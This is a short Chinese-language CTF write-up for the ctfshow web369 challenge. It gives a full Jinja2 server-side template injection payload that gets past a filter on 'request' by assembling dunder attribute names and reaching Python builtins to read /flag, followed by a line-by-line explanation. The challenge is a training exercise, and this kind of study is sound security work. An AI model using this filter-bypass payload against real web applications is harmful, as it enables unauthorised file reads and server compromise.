ctfshow-web369(SSTI)_ctfshow"+"web369

过滤了request，之前的方法都不能用了，直接用终极代码

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

代码解释是这样的

构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
 
等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
 
构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
 
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
 
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
 
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
 
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
 
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}